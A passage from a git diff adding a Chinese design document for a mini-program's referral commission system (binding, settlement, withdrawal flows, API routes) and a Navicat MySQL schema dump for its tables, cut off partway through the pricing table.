AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `realNameInfo` varchar(255) NULL COMMENT '收款实名信息(JSON: name+idcard/wechat)', + `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) NULL COMMENT '审核备注', + `auditAt` int(11) NULL COMMENT '审核时间', + `transferAt` int(11) NULL COMMENT '打款时间', + `createdAt` int(11) NULL, + `updatedAt` int(11) NULL, + PRIMARY KEY (`id`), + INDEX `idx_userId` (`userId`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB COMMENT='分销提现记录表'; +``` + +--- + +## 四、核心流程 + +### 4.1 绑定流程 + +``` +用户点击分享链接进入小程序 + ↓ +onLoad(options) 识别 uid=推荐人ID, eid=企业ID(可选) + ↓ +调用 POST /api/distribution/bind { inviterId: uid, scope, enterpriseId } + ↓ +【前置校验】 + ├── inviterId == 当前登录用户自身 → 忽略,静默返回(不能自绑) + ├── 企业版(scope=enterprise): + │ 校验推荐人 wechat_users.enterpriseId === enterpriseId + │ 不符合(推荐人非该企业成员)→ 忽略,静默返回 + ├── 禁止互相绑定(仅有效期内):存在未过期的 A→B(inviterId=当前用户, inviteeId=本次推荐人, 同 scope, status=active, expireAt>now) + │ → 忽略,静默返回;若 A→B 已过期则不拦截,允许建立 B→A + └── 校验通过 → 继续 + ↓ +系统查询 distribution_bindings 中该 inviteeId 是否有 active 且未过期的记录 + │ + ├── 无记录(首次绑定): + │ 新建绑定,status=active,expireAt=now+30天,prevInviterId=NULL + │ + ├── 有记录 且 inviterId 相同(同一推荐人再次点击 → 续期): + │ 更新 expireAt = now+30天(重置有效期) + │ updatedAt = now + │ ⚠️ prevInviterId 不变,不新建记录 + │ + └── 有记录 且 inviterId 不同(抢绑): + 记录 prevInviterId = 旧 inviterId(保留上一任推荐人) + 更新 inviterId = 新推荐人,expireAt=now+30天,overriddenAt=now + ⚠️ 历史绑定快照保留在同一行,不新建记录 + ↓ +返回绑定成功(含新的 expireAt 供前端展示倒计时) +``` + +### 4.2 佣金结算流程(付款成功后触发) + +``` +订单支付成功回调 (Payment/notify) + ↓ +确定订单 scope:订单有 enterpriseId → enterprise,否则 → personal + ↓ +【第一步:精确匹配】 +查询付款用户 (inviteeId) 与订单 scope + enterpriseId 完全匹配的 active 未过期绑定 + ├── 命中 → 使用该绑定,进入佣金计算(scope 保持订单 scope) + └── 未命中 → 进入【第二步:回退匹配】 + ↓ +【第二步:回退匹配(跨 scope)】 +查询付款用户任意 active 未过期的 scope='personal' 绑定 + ├── 命中 → 使用该绑定,强制 scope='personal'(以个人版配置+平台资金结算) + └── 未命中 → 跳过,无佣金产生 + ↓ +读取对应 scope 佣金比例配置,计算 commissionFen = orderAmount * rate + ↓ +写入 commission_records(记录实际使用的 scope 与 enterpriseId) + ↓ +if scope == 'personal': + 直接结算 → 推荐人 walletBalance += commissionFen + commission status → paid +if scope == 'enterprise': + 查询 enterprises.balance + ├── 余额 >= commissionFen: + │ enterprises.balance -= commissionFen + │ 推荐人 walletBalance += commissionFen + │ commission status → paid + └── 余额不足: + commission status → frozen,frozenAt=now +``` + +### 4.3 企业充值后解冻流程 + +``` +企业补余额成功(充值接口回调 / 超管上调余额) + ↓ +enterprises.balance += 充值金额 + ↓ +查询该企业所有 status=frozen 的 commission_records(按 createdAt ASC) + ↓ +循环: + if 当前 balance >= commissionFen: + balance -= commissionFen + commission status → paid,unfrozenAt=now + 推荐人 walletBalance += commissionFen + else: + break(余额耗尽,剩余记录保持冻结) + ↓ +更新 enterprises.balance +``` + +--- + +## 五、API 接口规划 + +### 5.1 小程序端(需登录) + +| 方法 | 路径 | 说明 | +|------|------|------| +| POST | `/api/distribution/bind` | 绑定推荐人(进入小程序时调用) | +| GET | `/api/distribution/stats` | 获取我的推广中心统计(余额、绑定数、佣金等) | +| GET | `/api/distribution/bindings` | 我邀请的用户列表(分页,支持 tab:绑定中/已付款/已过期) | +| GET | `/api/distribution/commissions` | 我的佣金记录(分页) | +| POST | `/api/distribution/withdraw` | 申请提现 | +| GET | `/api/distribution/withdrawals` | 我的提现记录 | + +### 5.2 管理端(admin/enterprise_admin) + +| 方法 | 路径 | 说明 | +|------|------|------| +| GET | `/api/v1/admin/distribution/overview` | 分销数据概览 | +| GET | `/api/v1/admin/distribution/bindings` | 所有绑定记录(管理员查看) | +| GET | `/api/v1/admin/distribution/commissions` | 所有佣金记录 | +| GET | `/api/v1/admin/distribution/withdrawals` | 提现申请列表 | +| POST | `/api/v1/admin/distribution/withdrawals/:id/approve` | 审核通过提现 | +| POST | `/api/v1/admin/distribution/withdrawals/:id/reject` | 拒绝提现 | +| GET | `/api/v1/admin/distribution/settings` | 获取分销配置 | +| PUT | `/api/v1/admin/distribution/settings` | 更新分销配置 | + +### 5.3 超管端(superadmin) + +| 方法 | 路径 | 说明 | +|------|------|------| +| GET | `/api/v1/superadmin/distribution/settings` | 获取个人版分销全局配置 | +| PUT | `/api/v1/superadmin/distribution/settings` | 更新个人版分销全局配置 | +| GET | `/api/v1/superadmin/distribution/overview` | 全平台分销数据 | + +--- + +## 六、分销配置结构 + +### 个人版(超管配置,存 system_config 表) + +```json +{ + "enabled": true, + "commissionRate": 90, + "bindingDays": 30, + "minWithdrawFen": 1000, + "withdrawFee": 0 +} +``` + +### 企业版(企业管理员配置,存 enterprise_distribution_config 表 或 system_config 带 enterpriseId) + +```json +{ + "enabled": true, + "commissionRate": 80, + "bindingDays": 30, + "minWithdrawFen": 1000 +} +``` + +--- + +## 七、已确认问题 + +| # | 问题 | 确认结论 | +|---|------|---------| +| 1 | 被抢绑的旧推荐人已产生的佣金是否撤销? | **已确认**:不撤销,已产生佣金归旧推荐人 | +| 2 | 企业版佣金冻结期间,推荐人的 `walletPending` 是否展示冻结金额? | **已确认**:展示 pending+frozen 合计 | +| 3 | 个人版提现是否需要人工审核,还是自动打款? | **已确认**:人工审核 | +| 4 | 企业版的被邀请用户(invitee)是否需要是该企业成员? | **已确认**:不限制,任何用户均可被企业推广链接绑定 | +| 5 | 推广分享链接的落地页是否区分个人版和企业版? | **已确认**:企业版链接携带 `eid`,个人版不带,系统根据是否携带 `eid` 自动判断 scope | +| 6 | 企业版分销的推荐人是否必须是该企业内部成员? | **已确认**:必须限制。绑定接口需校验推荐人的 `wechat_users.enterpriseId === 请求中的 enterpriseId`,非该企业成员的分享链接不产生绑定关系,静默跳过 | +| 7 | A 分享给 B,B 购买个人版或企业版,A 都能得佣金吗? | **已确认(v1.3)**:是。结算时先精确匹配订单 scope,未命中则回退查找 personal 绑定。无论 B 购买哪个版本,只要存在 A→B 的有效绑定(任意 scope),A 均可获得佣金。跨 scope 回退时使用个人版配置,佣金来源为平台 | +| 8 | 测试完成佣金适用于企业版测试吗? | **已确认(v1.4)**:不适用。测试完成佣金仅适用于 personal scope 绑定,企业版测试(`testScope=enterprise`)不触发此规则 | +| 9 | commission_records 需要哪些新字段支持测试完成佣金? | **已确认(v1.4)**:需新增 `testResultId INT NULL`(关联 test_results.id)和 `commissionSource VARCHAR(20) DEFAULT 'payment'`(payment \| test_completion)字段,并在 `testResultId` + `commissionSource` 上加唯一防重索引 | + +--- + +## 八、数据库迁移(v1.4) + +测试完成佣金需要对 `commission_records` 表新增两个字段,**上线前需执行**: + +```sql +ALTER TABLE `mbti_commission_records` + ADD COLUMN `testResultId` int(11) NULL DEFAULT NULL COMMENT '测试结果ID(测试完成佣金使用,关联 test_results.id)', + ADD COLUMN `commissionSource` varchar(20) NOT NULL DEFAULT 'payment' COMMENT '佣金来源: payment|test_completion', + ADD UNIQUE KEY `uk_test_commission` (`testResultId`, `commissionSource`); +``` + +--- + +## 九、现有代码与新功能的关系 + +| 现有内容 | 状态 | 处理方式 | +|---------|------|---------| +| `mbti_distribution_agents` 表 | 旧设计,基于 `users` 表 | 废弃,改为直接用 `wechat_users` | +| `mbti_commission_records` 表 | 部分字段可复用 | 按第三节 ALTER 改造 | +| `admin/Distribution.php` | 骨架存在,逻辑空 | 在新设计基础上重写 | +| `miniprogram/pages/promo/index` | 推广中心UI已完成 | 对接 `/api/distribution/stats` 和 `/api/distribution/bindings` | +| `utils/share.js` 中携带 `uid` 参数 | 已实现 | 直接复用,`uid` 即推荐人ID | +| 小程序 `onLoad` 解析 `uid` 参数 | 尚未对接绑定 API | 需在各落地页调用 `POST /api/distribution/bind` | diff --git a/api/mbti.sql b/api/mbti.sql new file mode 100644 index 0000000..c522ed7 --- /dev/null +++ b/api/mbti.sql @@ -0,0 +1,492 @@ +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:13:09 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL 